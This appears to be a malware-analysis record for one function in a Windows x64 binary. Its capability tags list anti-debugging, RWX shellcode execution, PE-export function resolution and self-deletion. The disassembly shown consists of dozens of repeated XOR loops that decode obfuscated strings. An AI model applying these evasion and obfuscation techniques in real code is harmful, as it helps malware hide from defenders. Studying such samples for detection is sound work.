Function at 0x1400e29cc
Capabilities:
Access peb ldr_data
Acquire debug privileges
Allocate or change rwx memory
Check for debugger via api
Check for peb beingdebugged flag
Check for process debug object
Create thread
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute command
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hash data using fnv
Resolve function by parsing pe exports
Self delete
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10850]
mov eax, 0x10950
call fcn.1401df8b0
sub rsp, rax
xor r13d, r13d
mov r12d, 0x29e4129f
mov r9b, 0x34
lea ebx, [r13 + 1]
lea r15d, [r13 + 0x18]
cmp byte [0x140346d57], r13b
je 0x1400e2a43
mov edi, r13d
lea r8, [0x140346d40]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2a18
cmp byte [0x1403466ff], r13b
je 0x1400e2a81
mov edi, r13d
lea r8, [0x1403466e8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2a56
cmp byte [0x14034770f], r13b
je 0x1400e2abf
mov edi, r13d
lea r8, [0x1403476f8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2a94
cmp byte [0x1403468d7], r13b
je 0x1400e2afd
mov edi, r13d
lea r8, [0x1403468c0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2ad2
cmp byte [0x140346d0f], r13b
je 0x1400e2b3b
mov edi, r13d
lea r8, [0x140346cf8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2b10
cmp byte [0x140346fa7], r13b
je 0x1400e2b79
mov edi, r13d
lea r8, [0x140346f90]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2b4e
cmp byte [0x1403475f7], r13b
je 0x1400e2bb7
mov edi, r13d
lea r8, [0x1403475e0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2b8c
cmp byte [0x1403468bf], r13b
je 0x1400e2bf5
mov edi, r13d
lea r8, [0x1403468a8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2bca
cmp byte [0x140346c97], r13b
je 0x1400e2c33
mov edi, r13d
lea r8, [0x140346c80]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2c08
cmp byte [0x140346487], r13b
je 0x1400e2c71
mov edi, r13d
lea r8, [0x140346470]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2c46
cmp byte [0x140346c1f], r13b
je 0x1400e2caf
mov edi, r13d
lea r8, [0x140346c08]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2c84
cmp byte [0x14034799f], r13b
je 0x1400e2ced
mov edi, r13d
lea r8, [0x140347988]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2cc2
cmp byte [0x14034701f], r13b
je 0x1400e2d2b
mov edi, r13d
lea r8, [0x140347008]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2d00
cmp byte [0x1403472bf], r13b
je 0x1400e2d69
mov edi, r13d
lea r8, [0x1403472a8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2d3e
cmp byte [0x140347987], r13b
je 0x1400e2da7
mov edi, r13d
lea r8, [0x140347970]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2d7c
cmp byte [0x140346a57], r13b
je 0x1400e2de5
mov edi, r13d
lea r8, [0x140346a40]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2dba
cmp byte [0x140346d9f], r13b
je 0x1400e2e23
mov edi, r13d
lea r8, [0x140346d88]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2df8
cmp byte [0x140346f1f], r13b
je 0x1400e2e61
mov edi, r13d
lea r8, [0x140346f08]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2e36
cmp byte [0x14034715f], r13b
je 0x1400e2e9f
mov edi, r13d
lea r8, [0x140347148]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2e74
cmp byte [0x140346d3f], r13b
je 0x1400e2edd
mov edi, r13d
lea r8, [0x140346d28]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2eb2
cmp byte [0x1403470e7], r13b
je 0x1400e2f1b
mov edi, r13d
lea r8, [0x1403470d0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2ef0
cmp byte [0x140346817], r13b
je 0x1400e2f59
mov edi, r13d
lea r8, [0x140346800]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2f2e
cmp byte [0x140346d6f], r13b
je 0x1400e2f97
mov edi, r13d
lea r8, [0x140346d58]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2f6c
cmp byte [0x1403466cf], r13b
je 0x1400e2fd5
mov edi, r13d
lea r8, [0x1403466b8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2faa
cmp byte [0x140346a37], r13b
je 0x1400e3013
mov edi, r13d
lea r8, [0x140346a20]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e2fe8
cmp byte [0x14034669f], r13b
je 0x1400e3051
mov edi, r13d
lea r8, [0x140346688]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3026
cmp byte [0x1403465c7], r13b
je 0x1400e308f
mov edi, r13d
lea r8, [0x1403465b0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3064
cmp byte [0x140346fbf], r13b
je 0x1400e30cd
mov edi, r13d
lea r8, [0x140346fa8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e30a2
cmp byte [0x1403472a7], r13b
je 0x1400e310b
mov edi, r13d
lea r8, [0x140347290]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e30e0
cmp byte [0x140347727], r13b
je 0x1400e3149
mov edi, r13d
lea r8, [0x140347710]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e311e
cmp byte [0x1403469d7], r13b
je 0x1400e3187
mov edi, r13d
lea r8, [0x1403469c0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e315c
cmp byte [0x14034728f], r13b
je 0x1400e31c5
mov edi, r13d
lea r8, [0x140347278]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e319a
cmp byte [0x140346e2f], r13b
je 0x1400e3203
mov edi, r13d
lea r8, [0x140346e18]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e31d8
cmp byte [0x1403472d7], r13b
je 0x1400e3241
mov edi, r13d
lea r8, [0x1403472c0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3216
cmp byte [0x1403463f7], r13b
je 0x1400e327f
mov edi, r13d
lea r8, [0x1403463e0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3254
cmp byte [0x140347757], r13b
je 0x1400e32bd
mov edi, r13d
lea r8, [0x140347740]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3292
cmp byte [0x1403475df], r13b
je 0x1400e32fb
mov edi, r13d
lea r8, [0x1403475c8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e32d0
cmp byte [0x1403469bf], r13b
je 0x1400e3339
mov edi, r13d
lea r8, [0x1403469a8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e330e
cmp byte [0x140346b17], r13b
je 0x1400e3377
mov edi, r13d
lea r8, [0x140346b00]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e334c
cmp byte [0x1403464ef], r13b
je 0x1400e33b5
mov edi, r13d
lea r8, [0x1403464d8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e338a
cmp byte [0x14034663f], r13b
je 0x1400e33f3
mov edi, r13d
lea r8, [0x140346628]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e33c8
cmp byte [0x14034679f], r13b
je 0x1400e3431
mov edi, r13d
lea r8, [0x140346788]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3406
cmp byte [0x140346597], r13b
je 0x1400e346f
mov edi, r13d
lea r8, [0x140346580]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3444
cmp byte [0x140346f07], r13b
je 0x1400e34ad
mov edi, r13d
lea r8, [0x140346ef0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3482
cmp byte [0x140346f37], r13b
je 0x1400e34eb
mov edi, r13d
lea r8, [0x140346f20]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e34c0
cmp byte [0x140346d87], r13b
je 0x1400e3529
mov edi, r13d
lea r8, [0x140346d70]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e34fe
cmp byte [0x140347657], r13b
je 0x1400e3567
mov edi, r13d
lea r8, [0x140347640]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e353c
cmp byte [0x140347177], r13b
je 0x1400e35a5
mov edi, r13d
lea r8, [0x140347160]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e357a
cmp byte [0x1403468ef], r13b
je 0x1400e35e3
mov edi, r13d
lea r8, [0x1403468d8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e35b8
cmp byte [0x140346f8f], r13b
je 0x1400e3621
mov edi, r13d
lea r8, [0x140346f78]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e35f6
cmp byte [0x1403469a7], r13b
je 0x1400e365f
mov edi, r13d
lea r8, [0x140346990]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3634
cmp byte [0x140346caf], r13b
je 0x1400e369d
mov edi, r13d
lea r8, [0x140346c98]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3672
cmp byte [0x14034773f], r13b
je 0x1400e36db
mov edi, r13d
lea r8, [0x140347728]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e36b0
cmp byte [0x1403477b7], r13b
je 0x1400e3719
mov edi, r13d
lea r8, [0x1403477a0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e36ee
cmp byte [0x1403463c7], r13b
je 0x1400e3757
mov edi, r13d
lea r8, [0x1403463b0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e372c
cmp byte [0x140346b47], r13b
je 0x1400e3795
mov edi, r13d
lea r8, [0x140346b30]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e376a
cmp byte [0x1403470ff], r13b
je 0x1400e37d3
mov edi, r13d
lea r8, [0x1403470e8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e37a8
cmp byte [0x140346ba7], r13b
je 0x1400e3811
mov edi, r13d
lea r8, [0x140346b90]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e37e6
cmp byte [0x140346e8f], r13b
je 0x1400e384f
mov edi, r13d
lea r8, [0x140346e78]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3824
cmp byte [0x1403470af], r13b
je 0x1400e388d
mov edi, r13d
lea r8, [0x140347098]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3862
cmp byte [0x1403471ef], r13b
je 0x1400e38cb
mov edi, r13d
lea r8, [0x1403471d8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e38a0
cmp byte [0x140346847], r13b
je 0x1400e3909
mov edi, r13d
lea r8, [0x140346830]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e38de
cmp byte [0x140346427], r13b
je 0x1400e3947
mov edi, r13d
lea r8, [0x140346410]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e391c
cmp byte [0x1403477cf], r13b
je 0x1400e3985
mov edi, r13d
lea r8, [0x1403477b8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e395a
cmp byte [0x1403478df], r13b
je 0x1400e39c3
mov edi, r13d
lea r8, [0x1403478c8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3998
cmp byte [0x14034785f], r13b
je 0x1400e3a01
mov edi, r13d
lea r8, [0x140347848]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e39d6
cmp byte [0x140346397], r13b
je 0x1400e3a3f
mov edi, r13d
lea r8, [0x140346380]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3a14
cmp byte [0x140346b2f], r13b
je 0x1400e3a7d
mov edi, r13d
lea r8, [0x140346b18]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3a52
cmp byte [0x14034769f], r13b
je 0x1400e3abb
mov edi, r13d
lea r8, [0x140347688]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3a90
cmp byte [0x140346567], r13b
je 0x1400e3af9
mov edi, r13d
lea r8, [0x140346550]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3ace
cmp byte [0x140346ed7], r13b
je 0x1400e3b37
mov edi, r13d
lea r8, [0x140346ec0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3b0c
cmp byte [0x1403479b7], r13b
je 0x1400e3b75
mov edi, r13d
lea r8, [0x1403479a0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3b4a
cmp byte [0x14034643f], r13b
je 0x1400e3bb3
mov edi, r13d
lea r8, [0x140346428]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3b88
cmp byte [0x1403476f7], r13b
je 0x1400e3bf1
mov edi, r13d
lea r8, [0x1403476e0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3bc6
cmp byte [0x1403465af], r13b
je 0x1400e3c2f
mov edi, r13d
lea r8, [0x140346598]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3c04
